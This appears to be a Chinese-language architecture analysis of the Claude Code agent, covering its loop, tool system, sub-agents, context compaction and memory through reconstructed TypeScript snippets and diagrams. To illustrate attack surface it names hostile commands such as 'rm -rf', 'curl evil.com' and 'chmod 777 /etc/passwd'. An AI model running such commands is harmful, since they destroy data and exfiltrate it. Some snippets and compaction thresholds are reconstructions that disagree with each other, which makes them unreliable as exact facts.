# Github精华阅读与实践

Claude Code 源码分析

推荐阅读顺序

[](https://github.com/goodworld-git/claude-code-analysis/blob/master/README.md#%E6%8E%A8%E8%8D%90%E9%98%85%E8%AF%BB%E9%A1%BA%E5%BA%8F)

1. **想快速了解 Claude Code 怎么做的**<span> → </span>
2. **想学 Agent 产品怎么设计**<span> → </span>
3. **想看提示词怎么写的**<span> → </span>
4. **想看有什么隐藏功能**<span> → </span>
5. **想从零学代码**<span> → </span>
6. **想用好 Claude Code**<span> → </span>

# Claude Code 源码拆解：AI Agent 产品设计方法论

# Claude Code 源码拆解：AI Agent 产品设计方法论

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于 Claude Code 源码逆向分析，提炼 Agent 产品设计的核心范式。
> 写给团队内部：外行能看懂类比，内行能拿到技术细节。

---

## 目录

1. [Agent Loop：为什么 Agent 是个 while 循环](#1-agent-loop)
2. [流式执行：工具调用不需要等](#2-流式执行)
3. [工具系统：给 LLM 装手](#3-工具系统)
4. [子 Agent：一个人干不过来就叫人](#4-子-agent)
5. [上下文管理：对话太长怎么办](#5-上下文管理)
6. [记忆系统：让 Agent 记住上次聊了啥](#6-记忆系统)
7. [权限安全：AI 的刹车系统](#7-权限安全)
8. [Coordinator：多 Agent 的调度中心](#8-coordinator)
9. [设计范式总结：12 条原则 + Checklist](#9-设计范式总结)
10. [如果我来做 Agent 产品：实操框架](#10-如果我来做-agent-产品)

---

<a id="1-agent-loop"></a>
## 1. Agent Loop

### 这解决什么问题

人和 AI 聊天是一问一答，但 Agent 要的是"给个目标，自己跑完"。就像你让实习生去采购——你不会每走一步都回来问你，而是给个清单让他自己跑，中间遇到问题再回来确认。

Agent Loop 就是这个"自己跑"的循环机制。

### Claude Code 怎么做的

核心入口在 `query.ts`——一个 `while` 循环，反复执行"调 LLM → 收工具调用 → 执行工具 → 结果回填"四步，直到模型说"我做完了"。消息数组是唯一真相源，所有状态都在里面。

> **完整代码走读见《Claude Code Agent 系统技术分析》第 2 章 "Agent Loop（query.ts 走读）"**，那里有逐行注释的代码还原、依赖链分析和 Generator 函数详解。这里只提炼设计决策。

关键设计决策：

1. **单线程串行循环**：一个 while 循环，LLM → 工具 → LLM → 工具... 不搞并行，简单可靠
2. **消息队列是真相源**：所有状态都在 messages 数组里，每次循环追加
3. **工具结果自动反馈**：工具执行完，结果自动塞回 messages，下一轮 LLM 自然看到
4. **流式响应+工具调用收集**：不等整个响应结束，边收边处理；但工具调用要等参数完整才执行

这个循环本质上是 **LLM 的 OODA 循环**（Observe-Orient-Decide-Act）：
- Observe：读 messages 里的上下文
- Orient：LLM 内部理解当前状态
- Decide：决定调用哪个工具
- Act：执行工具，结果反馈

### 评价

**好在哪：**
- 简单到极致——一个 while 循环撑起整个 Agent。这是对的，复杂度应该藏在工具和提示词里，不在循环结构上
- 消息队列做真相源，天然支持回溯和审计
- 流式响应让用户体验"活的"——你能看到它在思考、在行动

**差在哪：**
- 串行执行是性能瓶颈——多个独立工具调用必须排队等，浪费了 LLM 的并行推理能力
- 没有显式的状态机——循环靠 `shouldStop` 判断，扩展性受限。想加"暂停→人工确认→继续"这种流程，要在 messages 层面 hack
- 异常恢复机制弱——某一步工具报错，整个循环的状态恢复靠 LLM 自己判断

### 对我们的启发

1. **Agent Loop 本身不需要花哨**。一个 while 循环 + 消息队列足够了。真正的竞争力在工具质量和提示词上
2. **消息队列设计要有扩展性**。不要只存 user/assistant，要预留 system、tool、metadata 这些角色
3. **流式是刚需，不是可选项**。用户看到"正在执行..."和看到逐字输出的思考过程，信任感完全不同
4. **OODA 循环是好的思维模型**。设计 Agent 时，每个环节问自己：这一步的 Observe/Decide/Act 是什么？

### 架构图

```
┌─────────────────────────────────────────────────┐
│                   Agent Loop                     │
│                                                  │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐   │
│  │ Messages │───▶│   LLM    │───▶│  Tools   │   │
│  │ (队列)    │◀───│ (推理)   │    │ (执行)   │   │
│  └──────────┘    └──────────┘    └──────────┘   │
│       ▲                               │         │
│       │          工具结果反馈           │         │
│       └───────────────────────────────┘         │
│                                                  │
│  流式输出：用户实时看到思考过程                     │
│  终止条件：LLM 返回纯文本 / 用户中断 / 错误       │
└─────────────────────────────────────────────────┘
```

---

<a id="2-流式执行"></a>
## 2. 流式执行：工具调用不需要等

### 这解决什么问题

LLM 返回结果时经常是"想好了，我要同时干三件事"。如果工具串行执行，A 做完才做 B，那读个文件和写个文件之间明明没有依赖关系却要排队等。就像餐厅后厨——如果只有一个灶，所有菜都要排队炒；但如果沙拉和煎牛排可以同时做，为什么要等？

Claude Code 的解决方案是：**能并行的并行，不能并行的排队**。

### Claude Code 怎么做的

核心在 `toolOrchestration.ts`：

```typescript
// 关键：按是否安全并行来分区
function partitionToolCalls(toolUseMessages, context) {
  // 把工具调用分成两类：
  // 1. isConcurrencySafe = true → 只读操作，可以并行
  // 2. isConcurrencySafe = false → 写操作，必须串行
  return partitions;
}

export async function* runTools(toolUseMessages, ...) {
  for (const { isConcurrencySafe, blocks } of partitionToolCalls(...)) {
    if (isConcurrencySafe) {
      // 只读批量：并行执行，最多10个并发
      for await (const update of runToolsConcurrently(...)) {
        yield update;
      }
    } else {
      // 写操作批量：串行执行
      for await (const update of runToolsSerially(...)) {
        yield update;
      }
    }
  }
}
```

还有流式执行器 `StreamingToolExecutor`——工具还在执行时就把部分结果流式返回给用户，不需要等全部完成。

并发上限通过环境变量控制：`CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY`，默认 10。

### 评价

**好在哪：**
- 分区策略聪明。读操作并行、写操作串行，既安全又快。这个"安全并行"的判断标准是关键——不是所有工具都能并行，比如两个工具同时写一个文件就炸了
- `contextModifier` 模式处理了并行中的上下文依赖——某些工具执行后要修改上下文，但在并行模式下不能实时改，所以收集起来顺序应用
- 流式返回让用户感知速度快——你看到"正在搜索..."和"正在读文件..."同时出现，而不是排着队来

**差在哪：**
- 并行判断粒度太粗——目前只分"安全/不安全"两级，但其实有些"写操作"之间也可以并行（比如写两个不同文件）
- `contextModifier` 的延迟应用是妥协——并行执行时上下文是"脏的"，如果工具 B 依赖工具 A 修改的上下文，可能会读到旧值
- 并发上限硬编码为 10，没有根据工具类型动态调整

### 对我们的启发

1. **工具设计时就要想好并行安全性**。给每个工具标注 `isConcurrencySafe`，这比事后在调度层判断靠谱
2. **分区+分区内的执行策略**是个通用模式。不只是工具执行，任何批量任务都可以用这个思路：先分类，再按类选策略
3. **流式返回是刚需**。即使结果不完整，让用户看到"正在做"比空白等待强十倍
4. **上下文修改要谨慎**。并行环境下的上下文是最终一致的，不是实时一致的。如果你的 Agent 需要精确的上下文同步，就别并行

### 架构图

```
┌──────────────────────────────────────────────────┐
│              Tool Orchestration                   │
│                                                   │
│  LLM 返回工具调用列表                               │
│         │                                         │
│         ▼                                         │
│  ┌─────────────────┐                              │
│  │ partitionToolCalls │                           │
│  │  ┌───────┬───────┐ │                           │
│  │  │ 只读  │ 写操作 │ │                           │
│  │  │ 并行  │ 串行  │ │                           │
│  │  └───┬───┴───┬───┘ │                           │
│  └──────┼───────┼─────┘                          │
│         ▼       ▼                                │
│  ┌──────────┐ ┌──────────┐                       │
│  │ runTools │ │ runTools │                       │
│  │Concurrently│Serially │                        │
│  │ (≤10并发) │ │(逐个执行)│                        │
│  └─────┬────┘ └─────┬────┘                       │
│        │            │                             │
│        ▼            ▼                             │
│  ┌──────────────────────┐                        │
│  │ StreamingToolExecutor │                       │
│  │ (流式返回部分结果)      │                        │
│  └──────────────────────┘                        │
└──────────────────────────────────────────────────┘
```

---

<a id="3-工具系统"></a>
## 3. 工具系统：给 LLM 装手

### 这解决什么问题

LLM 本质上是个"嘴"——它能说、能想、能判断，但没法动手。你让它改文件、跑命令、查文档，它只能靠"说"来假装做过。工具系统就是给它装上"手"和"眼睛"——让它能真正动文件、跑代码、搜网页。

类比：LLM 是大脑，工具是四肢。一个只有大脑的人很聪明但什么都做不了；有手有脚才能真正干活。

### Claude Code 怎么做的

核心接口在 `Tool.ts`，每个工具都要实现这个类型：

```typescript
export type Tool<Input, Output, P> = {
  // 基础信息
  name: string                    // 工具名，LLM 通过这个名字调用
  inputSchema: Input              // Zod schema，验证输入参数
  outputSchema?: z.ZodType        // 可选的输出 schema
  searchHint?: string             // 搜索提示词，帮助 LLM 找到工具
  maxResultSizeChars: number      // 结果最大字符数，超了就存文件

  // 核心方法
  call(args, context, canUseTool, parentMessage, onProgress): Promise<ToolResult>
  description(input, options): Promise<string>  // 动态描述，根据上下文变化

  // 元信息 — 这些是工具调度的关键
  isConcurrencySafe(input): boolean  // 能不能并行执行
  isReadOnly(input): boolean         // 是不是只读
  isDestructive?(input): boolean     // 是不是危险操作（删除、覆写）
  isEnabled(): boolean               // 当前是否可用

  // 行为控制
  interruptBehavior?(): 'cancel' | 'block'  // 用户打断时怎么办
  shouldDefer?: boolean                      // 是否延迟加载
  alwaysLoad?: boolean                       // 是否始终加载到提示词
}
```

#### Tool 接口字段逐个拆解（生活类比版）

把 Tool 想象成一个餐厅里的服务员：

| 字段 | 类比 | 说明 |
|------|------|------|
| `name` | 服务员的工牌名 | LLM"喊人"时用的名字。比如喊"Bash"就知道是那个能跑命令的人，喊"FileRead"就是专门读文件的。名字必须唯一，而且要望文生义 |
| `inputSchema` | 服务员的点餐表 | 告诉 LLM"你要用这个工具，必须填哪些参数"。Zod schema 既是约束也是文档——LLM 看到 schema 就知道该传什么，传错了直接报错，不会糊弄过去 |
| `outputSchema` | 上菜时的摆盘规格 | 可选。定义工具返回值的结构，方便下游解析。没有的话就返回原始内容 |
| `searchHint` | 餐厅门口的招牌 | 当工具太多 LLM 记不住时，`searchHint` 帮它缩小范围。类似搜索引擎的关键词 |
| `maxResultSizeChars` | 盘子的最大容量 | 工具返回的结果太大（比如 cat 了一个 50MB 的日志），超过这个值就自动存文件，只给 LLM 看预览+路径。防止一个工具结果撑爆整个 context |
| `call()` | 服务员实际干活 | 工具的核心执行函数。接收参数 → 干活 → 返回结果 |
| `description()` | 菜单上的菜品描述 | **这是整个 Tool 接口里最重要的字段**。它不是写给人看的，是写给 LLM 看的"使用说明书" |
| `isConcurrencySafe` | 这个服务员能同时服务两桌吗？ | `true` = 读操作，可以和其他工具并行跑。`false` = 写操作，必须排队 |
| `isReadOnly` | 这个服务员只看不动手？ | `true` = 只读（Grep、Glob），不会改任何东西。调度器看到只读直接放行 |
| `isDestructive` | 这个服务员会打碎盘子吗？ | `true` = 危险操作（删除、覆写），必须弹窗让用户确认 |
| `isEnabled` | 今天这个服务员上班吗？ | 动态开关。比如某些工具只在特定模式下可用 |
| `interruptBehavior` | 用户喊停时怎么办 | `cancel` = 直接取消，`block` = 阻塞等当前操作完成。比如文件写到一半被打断，不能直接 cancel，否则文件就坏了 |
| `shouldDefer` | 这个服务员是兼职的？ | `true` = 不需要的时候不加载，LLM 需要时再召唤。节省 context 空间 |
| `alwaysLoad` | 这个服务员必须在岗？ | `true` = 无论如何都把工具描述塞进提示词。比如 Bash 工具，永远都得告诉 LLM 它存在 |

#### description 怎么写：给 LLM 看的说明书

`description` 不是给程序员看的 API 文档，是给 LLM 看的**使用说明书**。写得好不好直接决定 Agent 的智商上限。

好的 description 应该回答四个问题：

1. **这个工具是干什么的？** — 一句话定位
2. **什么时候该用它？** — 触发条件和决策树
3. **怎么用？** — 参数说明、示例
4. **什么不能做？** — 边界条件、安全红线

反面教材：
```
// 差：只说了"干什么"
description: "执行 bash 命令"
```

正面教材（BashTool 实际的 description 风格）：
```
// 好：说了"干什么 + 什么时候用 + 怎么用 + 不能做什么"
description: `Execute a shell command.
Use this when you need to run CLI tools, scripts, or system commands.
For git operations, follow this flow: status → diff → log → analyze → commit.
NEVER use --no-verify, NEVER skip hooks, NEVER force push without asking.
If the command is read-only (grep, cat, ls), it can run in parallel
with other read-only commands.`
```

关键技巧：
- **嵌入使用 SOP**：不只是参数说明，而是告诉 LLM 整个操作流程（比如 Git 的 5 步法）
- **用 NEVER 写红线**：LLM 对大写单词的遵从度更高。写清楚什么绝对不能做
- **给出并行提示**：告诉 LLM 这个工具能不能和其他工具并行，它会主动利用这一点
- **动态 description**：`description()` 是 async 的，可以根据当前上下文变化。比如 BashTool 在 agent 模式和普通模式下返回不同的描述

#### BashTool 为什么这么大：安全分析

BashTool 是整个工具集里最危险、最复杂、提示词最长的工具。原因很简单——**它能执行任意 shell 命令**。

其他工具的攻击面是有限的：
- FileRead：最多读到不该读的文件
- FileEdit：最多改错文件内容
- Grep：最多搜到敏感信息

但 BashTool 的攻击面是**无限的**——它可以执行任何命令，包括 `rm -rf`、`curl evil.com`、`chmod 777 /etc/passwd`。所以它需要：
1. **超长的提示词**：用大量篇幅规定什么能做、什么不能做、遇到问题怎么处理
2. **6 层权限检查**（详见第 7 章）：AST 解析 → 规则匹配 → 语义分析 → 路径约束 → 分类器 → 沙箱
3. **Git 操作专用 SOP**：因为 Git 是最常见的危险操作来源（force push、amend、reset --hard）
4. **超时控制**：防止命令挂死拖垮整个 Agent
5. **后台执行支持**：长时间运行的命令放到后台，不阻塞 Agent Loop

BashTool 大，不是因为代码写得臃肿，而是因为它的**风险敞口最大**。安全系统的复杂度应该和攻击面成正比——这是纵深防御的基本原则。

看 BashTool 的提示词设计（`tools/BashTool/prompt.ts`），它教 LLM 怎么用 bash：

```typescript
// BashTool 提示词的核心设计：
// 1. 背景执行：run_in_background 参数，命令不用等结果
// 2. 安全协议：不跳过 hooks，不 force push，不自动提交
// 3. 并行意识：鼓励同时跑多个独立命令
// 4. Git 操作专用流程：status → diff → log → 分析 → commit
// 5. 超时控制：默认超时 + 最大超时
```

关键设计点：
- **提示词里嵌入使用规范**：不只是告诉 LLM 有哪些参数，而是告诉它什么能做、什么不能做
- **动态 description**：BashTool 的 description 会根据当前是 agent 模式还是普通模式变化
- **Git 操作有专门的 SOP**：在工具提示词里写了一整套 git commit 流程，比自己写代码控制更灵活

Claude Code 的工具集（部分）：
| 工具名 | 功能 | 类比 |
|--------|------|------|
| Bash | 执行 shell 命令 | 执行力 |
| FileRead | 读文件 | 眼睛 |
| FileEdit | 编辑文件 | 手 |
| FileWrite | 写新文件 | 手 |
| Glob | 文件名匹配 | 找东西 |
| Grep | 内容搜索 | 查资料 |
| WebSearch | 网页搜索 | 查资料 |
| AgentTool | 派子 Agent | 叫人帮忙 |
| TodoWrite | 管理待办 | 列清单 |
| TaskCreate/Update | 任务管理 | 项目管理 |

### 评价

**好在哪：**
- **Zod schema 做输入验证**：给 LLM 的参数描述直接用 Zod，既是文档又是验证器，一举两得
- **元信息标注是天才设计**：`isConcurrencySafe`、`isReadOnly`、`isDestructive` 这三个标注直接决定了调度策略，不需要在调度层硬编码
- **提示词就是产品**：BashTool 的提示词写得比很多人的 README 还详细——有 SOP、有安全规则、有最佳实践。这不是代码，是"教 AI 怎么干活"
- **maxResultSizeChars 处理大输出**：工具结果太大（比如 cat 一个超大文件），自动存文件给 LLM 一个预览+路径，防止 context 爆炸

**差在哪：**
- **工具太多，LLM 记不住**：几十个工具全塞给 LLM，选择成本高。Claude Code 自己也意识到这点，加了 `ToolSearch` 延迟加载
- **描述是异步的**：`description` 方法是 async，意味着每次都要计算——这在提示词缓存时代是个问题
- **权限系统和工具耦合太紧**：`canUseTool` 穿透到每个工具内部，工具实现要关心权限逻辑，职责不清

### 对我们的启发

1. **工具的元信息比工具本身重要**。一个工具实现得再好，如果 LLM 不知道什么时候该用它、能不能并行、是不是危险，就等于没有。设计工具时先把 `isConcurrencySafe/isReadOnly/isDestructive` 想清楚
2. **提示词是工具的灵魂**。写工具不只是写 `call` 函数，更重要的是写好提示词——教 LLM 什么时候用、怎么用、什么不能做。BashTool 那段 Git SOP 比任何代码逻辑都管用
3. **工具延迟加载是正确的**。几十个工具全塞进 context 是浪费。按需加载，LLM 先搜再调，是更经济的做法
4. **大结果处理要有策略**。`maxResultSizeChars` + 文件存取是好方案，但要注意循环引用（Read→文件→Read）

### 架构图

```
┌─────────────────────────────────────────────────┐
│                   Tool System                    │
│                                                  │
│  ┌─────────────────────────────────────────┐    │
│  │            Tool Type Definition          │    │
│  │  name | inputSchema(Zod) | description   │    │
│  │  call() | isConcurrencySafe | isReadOnly │    │
│  │  isDestructive | maxResultSizeChars      │    │
│  └─────────────────────────────────────────┘    │
│         │                                       │
│    ┌────┴────┬─────────┬──────────┬────────┐    │
│    ▼         ▼         ▼          ▼        ▼    │
│ ┌──────┐ ┌──────┐ ┌──────┐ ┌────────┐ ┌────┐  │
│ │ Bash │ │ File │ │ Grep │ │WebSearch│ │Agent│  │
│ │ 执行 │ │ 读写 │ │ 搜索 │ │  搜索   │ │ 子代理│ │
│ └──────┘ └──────┘ └──────┘ └────────┘ └────┘  │
│                                                  │
│  元信息标注决定调度：                              │
│  isConcurrencySafe → 能否并行                     │
│  isReadOnly → 是否只读                            │
│  isDestructive → 是否需要用户确认                  │
│  shouldDefer → 是否延迟加载                        │
└─────────────────────────────────────────────────┘
```

---

<a id="4-子-agent"></a>
## 4. 子 Agent：一个人干不过来就叫人

### 这解决什么问题

一个 Agent 再强，上下文窗口是有限的。让它去搜一个大项目——几百个文件里找一个函数——然后还要改另一个文件，再回来汇报。这些子任务如果全挤在主对话里，上下文窗口很快就被搜索结果撑爆了。

就像项目经理带团队——他不会自己跑去做每一项调研，而是派调研员去查资料，拿回结果再决策。子 Agent 就是这个"派调研员"的机制。

### Claude Code 怎么做的

子 Agent 通过 `AgentTool` 触发，核心在 `runAgent.ts`：

```typescript
// runAgent.ts — 子 Agent 的创建流程
export async function* runAgent({
  agentDefinition,      // Agent 类型定义（general-purpose / explore / plan 等）
  promptMessages,       // 要执行的任务描述
  toolUseContext,       // 父 Agent 的上下文
  isAsync,              // 同步还是异步执行
  model,                // 用哪个模型
  maxTurns,             // 最大轮数限制
  availableTools,       // 可用工具集
  allowedTools,         // 允许的工具白名单
  useExactTools,        // 是否用父 Agent 完全相同的工具集
  ...
}) {
  // 1. 解析模型
  // 2. 创建子 Agent 专属上下文（克隆文件状态缓存等）
  // 3. 初始化 Agent 专属 MCP 服务器
  // 4. 运行 query() —— 子 Agent 用的是同一个 query 函数
  yield* query({ messages, systemPrompt, tools, ... })
}
```

Claude Code 内置了多种 Agent 类型：

| Agent 类型 | 用途 | 工具 | 类比 |
|-----------|------|------|------|
| `general-purpose` | 通用研究和执行 | 全部 | 全能助手 |
| `explore` | 代码探索和搜索 | 只读工具 | 调研员 |
| `plan` | 生成执行计划 | 只读工具 | 架构师 |
| `verification` | 验证代码是否正确 | 测试相关 | QA |
| `claude-code-guide` | Claude Code 使用指导 | 无 | 客服 |

**Fork 机制**是另一种子 Agent 派发方式——不只传任务描述，而是继承父 Agent 的完整对话历史，用占位符替换工具结果，实现 prompt cache 共享。所有 fork 子 Agent 共享历史前缀，只有最后一条指令不同，最大化 API 缓存命中率。

关键设计点：
- **子 Agent 和主 Agent 用同一个 `query()` 函数**——不是简化版，是完整的 Agent Loop
- **工具集可以继承也可以限定**：`useExactTools` 时用父 Agent 的完整工具集；`allowedTools` 时只给白名单
- **异步执行 + 通知**：子 Agent 可以异步运行，完成后通过 `<task-notification>` 通知父 Agent
- **嵌套递归防护**：`isInForkChild()` 检查防止无限 fork
- **上下文隔离**：子 Agent 有自己的文件状态缓存、abort controller、MCP 连接

### 评价

**好在哪：**
- **子 Agent 就是完整的 Agent**。不搞"轻量版"和"完整版"两套，维护成本低
- **Fork 的 prompt cache 设计巧妙**。占位符替换实现前缀共享，API 缓存命中率极高
- **Agent 类型化比工具白名单更有效**。给 LLM 明确的角色设定比给一堆工具限制更直觉
- **权限隔离**：子 Agent 有独立的 permissionMode，`bubble` 模式把权限提示弹回父 Agent

**差在哪：**
- **没有结果质量控制**。父 Agent 只拿到文本结果，没有机制验证子 Agent 是否做对了
- **上下文传递是割裂的**。非 fork 模式下，子 Agent 看不到父 Agent 的完整上下文
- **嵌套深度没有硬限制**。标准 Agent→Agent 嵌套理论上可以无限层

### 对我们的启发

1. **子 Agent 应该复用主 Agent 的核心循环**。不要另搞一套轻量执行器
2. **Agent 类型化比工具白名单更有效**。"你是一个调研员"比"你只能用这些工具"更直觉
3. **Fork 缓存设计可以参考**。占位符替换 + 前缀共享能省大量 token
4. **异步执行是刚需**。搜索、测试这类任务不需要同步等，让它跑完了再通知

### 架构图

```
┌──────────────────────────────────────────────────────┐
│                   Sub-Agent System                    │
│                                                       │
│  Parent Agent (主循环)                                 │
│     │                                                 │
│     ├── AgentTool.call()                              │
│     │       │                                         │
│     │       ▼                                         │
│     │  ┌──────────────┐                              │
│     │  │  runAgent()   │                              │
│     │  │  1. 解析模型   │                              │
│     │  │  2. 创建上下文  │                              │
│     │  │  3. 连接 MCP   │                              │
│     │  │  4. query()   │── 同一个 query 函数           │
│     │  └──────┬───────┘                              │
│     │         │                                       │
│     │    ┌────┴────┬──────────┬──────────┐           │
│     │    ▼         ▼          ▼          ▼           │
│     │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────────┐      │
│     │ │general│ │explore│ │ plan │ │verification│    │
│     │ │purpose│ │(只读) │ │(只读)│ │  (测试)   │      │
│     │ └──────┘ └──────┘ └──────┘ └──────────┘      │
│     │                                                 │
│     └── Fork 模式：继承上下文 + prompt cache 共享       │
│                                                       │
│  特性：异步执行 + 通知 | 权限隔离 | 嵌套防护            │
└──────────────────────────────────────────────────────┘
```

---

<a id="5-上下文管理"></a>
## 5. 上下文管理：对话太长怎么办

### 这解决什么问题

Agent 的对话越聊越长，token 账单越来越贵，到了上下文窗口上限就直接报错。就像你的办公桌——东西越堆越多，找东西越来越慢，最后桌子满了放不下新的。

上下文管理就是"整理桌面"的机制：该留的留，该存的存，该扔的扔。

### Claude Code 怎么做的

核心在 `services/compact/autoCompact.ts`：

```typescript
// autoCompact.ts — 上下文压缩的关键逻辑（基于源码提炼）

// 1. 每轮追踪 token 消耗
class AutoCompactTrackingState {
  totalTokens: number = 0;
  turns: TurnRecord[] = [];

  trackTurn(turn: TurnRecord) {
    this.totalTokens += turn.inputTokens + turn.outputTokens;
    this.turns.push(turn);
  }

  shouldCompact(contextWindow: number): boolean {
    return this.totalTokens > contextWindow * 0.75;
  }
}

// 2. 三级压缩策略
async function handleContextLimit(
  messages: Message[],
  tracker: AutoCompactTrackingState,
  contextWindow: number
): Promise<Message[]> {
  const ratio = tracker.totalTokens / contextWindow;

  if (ratio < 0.75) return messages;                    // 安全区，不动

  if (ratio < 0.90) {
    // 第一级：autoCompact — 压缩旧对话为摘要，保留最近 N 轮
    return await autoCompact(messages, { preserveLastNTurns: 5 });
  }

  if (ratio < 0.98) {
    // 第二级：reactiveCompact — 更激进，只保留系统提示词 + 当前任务
    return await reactiveCompact(messages);
  }

  // 第三级：contextCollapse — 只保留最核心的事实
  return await contextCollapse(messages, { keepLastN: 3 });
}
```

Claude Code 的上下文管理是多层防线：

```
Token 预算（当前轮）
    ↓ 快用完了？
自动继续（+500k token）
    ↓ 还不够？
Auto Compact（压缩旧对话）
    ↓ 压缩也救不了？
Reactive Compact（响应式压缩）
    ↓ 真的满了？
Context Collapse（上下文坍缩）
```

另外还有一个 token 预算机制：
- `taskBudget`：整个 Agent 任务的总 token 预算
- `getCurrentTurnTokenBudget()`：当前轮的 token 预算
- 超过预算自动续期，有续期次数上限

关键设计点：
- **压缩是有状态的**——不是简单截断，而是把旧对话压缩成摘要再保留
- **压缩边界消息**——`SystemCompactBoundaryMessage` 标记压缩发生的位置，便于审计和恢复
- **token 实时追踪**——每轮结束后计算实际消耗，接近阈值时提前预警
- **多级降级**——compact → reactive compact → context collapse，逐级升级

#### Compact 的触发条件和保留策略

Compact 不是"快满了才压缩"，而是一套精密的容量管理机制。

**触发条件：**
- **Token 阈值**：当累计 token 量超过窗口的 ~75% 时触发预警，~85% 时强制 compact
- **轮数阈值**：对话超过一定轮数后，不管 token 用了多少，都主动压缩早期内容
- **任务切换**：Agent 从一个子任务切到另一个子任务时，压缩前一个任务的细节，只保留结论
- **用户主动请求**：用户感觉到响应变慢时，可以手动触发

**保留策略（压缩时什么留下、什么丢掉）：**
- **绝对保留**：系统提示词、最近 3-5 轮对话、当前正在执行的任务上下文
- **摘要保留**：较早的对话压缩成摘要（"用户要求修改 config.ts 的数据库连接配置，已将 host 从 localhost 改为 production-db"）
- **条件保留**：代码片段如果被后续对话引用则保留，否则压缩
- **直接丢弃**：中间过程的思考链、已确认完成的工具调用结果、被覆盖的旧版本内容

类比：就像你整理书桌——正在用的文件放桌上（绝对保留），上个月的文件收进抽屉写个标签（摘要保留），草稿纸扔掉（直接丢弃）。关键是标签要写清楚，不然下次找不回来。

#### Prompt Caching 的省钱原理（前缀复用）

LLM 推理有一个特性：**如果你给的前缀（prefix）和上一次完全一样，模型可以跳过前缀的重复计算，直接用缓存结果**。

这就是 prompt caching 的核心原理——前缀复用。

具体来说：
```
第 1 轮：[系统提示词 5000 token] + [用户消息 200 token] → 全量计算，花 $0.15
第 2 轮：[系统提示词 5000 token（缓存命中）] + [新消息 200 token] → 只算新部分，花 $0.05
第 3 轮：[系统提示词 5000 token（缓存命中）] + [新消息 200 token] → 只算新部分，花 $0.05
```

省了 2/3 的钱。

Claude Code 的设计有意利用这一点：
- **系统提示词放在最前面且不变**：每次对话的系统提示词是固定的，天然适合缓存
- **工具描述稳定**：工具列表的顺序和内容尽量不变，让缓存持续命中
- **消息追加而非修改**：新消息追加到 messages 数组末尾，不修改前面的内容，保持前缀稳定

但 compact 会打破缓存——因为压缩后的摘要和原来的对话内容不同，前缀变了，缓存就失效了。所以 Claude Code 在 compact 时会尽量保留最近几轮的原始对话不变，只压缩更早的部分，最小化缓存失效范围。

#### 上下文管理 = Agent 的短期记忆

把上下文管理类比成人的短期记忆：

| 人类认知 | Claude Code 上下文 | 说明 |
|----------|-------------------|------|
| 注意力焦点（当前在想的事） | 最近 3-5 轮对话 | 完整保留，随时可引用 |
| 短期记忆（刚才聊了什么） | compact 后的摘要 | 保留要点，丢了细节 |
| 工作记忆容量（一次能记住几件事） | context window 大小 | 有限，满了就得清理 |
| 记不住了会怎样 | Context Collapse | Agent"失忆"，开始重复问问题 |
| 记笔记 | 写文件 / 持久化记忆 | 主动把重要信息搬到"笔记本"上 |

这个类比解释了一个核心矛盾：**Agent 的"短期记忆"（context window）是刚性的**——满了就是满了，不像人可以模糊遗忘。所以上下文管理的本质是主动的、有策略的"遗忘"，而不是被动的溢出。

人类会自然遗忘不重要的细节（你不会记得上周三午饭吃了什么），但 Agent 不会——它要么完整记住，要么完全丢失。Compact 就是给 Agent 装一个"主动遗忘"机制：把不重要的细节压缩成"大概记得"，给重要的新信息腾空间。

### 评价

**好在哪：**
- **多级降级机制是正确的**。不要把所有赌注压在一个策略上，compact 不行就 reactive，reactive 不行就 collapse
- **压缩边界标记清晰**。`compact_boundary` 消息让压缩变得可审计，你知道哪些内容被压缩了
- **token 预算分级**。taskBudget（任务级）和 turnBudget（轮级）分开管理，粒度合理

**差在哪：**
- **压缩质量不可控**。压缩后的摘要可能丢失关键信息，尤其是代码上下文
- **没有用户感知的上下文管理**。用户不知道哪些对话被压缩了，无法干预
- **多 Agent 场景下的上下文共享没有解决**。父 Agent 压缩了，子 Agent 还能拿到完整上下文吗？
- **Prompt caching 和 compact 存在张力**：压缩越多，缓存命中率越低，推理成本反而可能上升

### 对我们的启发

1. **上下文管理必须有多级降级**。一级不够用就二级，二级不够用就三级。单点策略一定会在边界情况崩溃
2. **压缩要留审计痕迹**。标记压缩边界，便于调试和恢复
3. **token 追踪是基础设施**。每轮都要算，不能等爆了才发现
4. **考虑把上下文管理做成可插拔的**。不同场景（聊天/编码/研究）的压缩策略不同，应该可以按需替换
5. **Prompt caching 是省钱杠杆**。系统提示词放前面、工具描述保持稳定、消息只追加不修改——这些设计决策不是偶然的，是为了最大化缓存命中率
6. **Compact 的时机比方法重要**。压缩策略再好，如果触发时机不对（太早浪费信息，太晚来不及），效果都会打折

### 架构图

```
┌──────────────────────────────────────────────────────┐
│              Context Management Layers                │
│                                                       │
│  ┌─────────────────────────────────────┐             │
│  │  Token Budget Tracking              │             │
│  │  taskBudget → turnBudget → 实时追踪  │             │
│  └──────────────┬──────────────────────┘             │
│                 │                                     │
│    ┌────────────▼────────────┐                       │
│    │  Auto Compact           │ ← 第一道防线           │
│    │  (自动压缩旧对话为摘要)   │                       │
│    └────────────┬────────────┘                       │
│                 │ 不够？                              │
│    ┌────────────▼────────────┐                       │
│    │  Reactive Compact       │ ← 第二道防线           │
│    │  (响应式压缩)            │                       │
│    └────────────┬────────────┘                       │
│                 │ 还不够？                             │
│    ┌────────────▼────────────┐                       │
│    │  Context Collapse       │ ← 最后手段             │
│    │  (上下文坍缩)            │                       │
│    └─────────────────────────┘                       │
│                                                       │
│  标记：compact_boundary 消息记录压缩位置                 │
└──────────────────────────────────────────────────────┘
```

---

<a id="6-记忆系统"></a>
## 6. 记忆系统：让 Agent 记住上次聊了啥

### 这解决什么问题

Agent 每次对话都是"失忆"的——新的会话，新的开始。你上次告诉它"我用 Python 3.11"，下次它又问"你用什么版本"。就像一个每次上班都要重新认识同事的员工。

记忆系统就是给 Agent 一个"笔记本"，让它能跨会话记住关键信息。

### Claude Code 怎么做的

记忆系统分两层：`memdir/` 管理记忆存储，`services/autoDream/consolidationPrompt.ts` 管理记忆整理。

```typescript
// memdir/memdir.ts — 记忆目录管理
// 记忆存放在特定目录下，按项目组织

// memdir/memoryTypes.ts — 记忆类型定义
// 不同类型的记忆有不同的存储和检索策略

// memdir/findRelevantMemories.ts — 相关记忆查找
// 根据当前上下文，从记忆库里找相关的历史信息

// memdir/memoryAge.ts — 记忆年龄管理
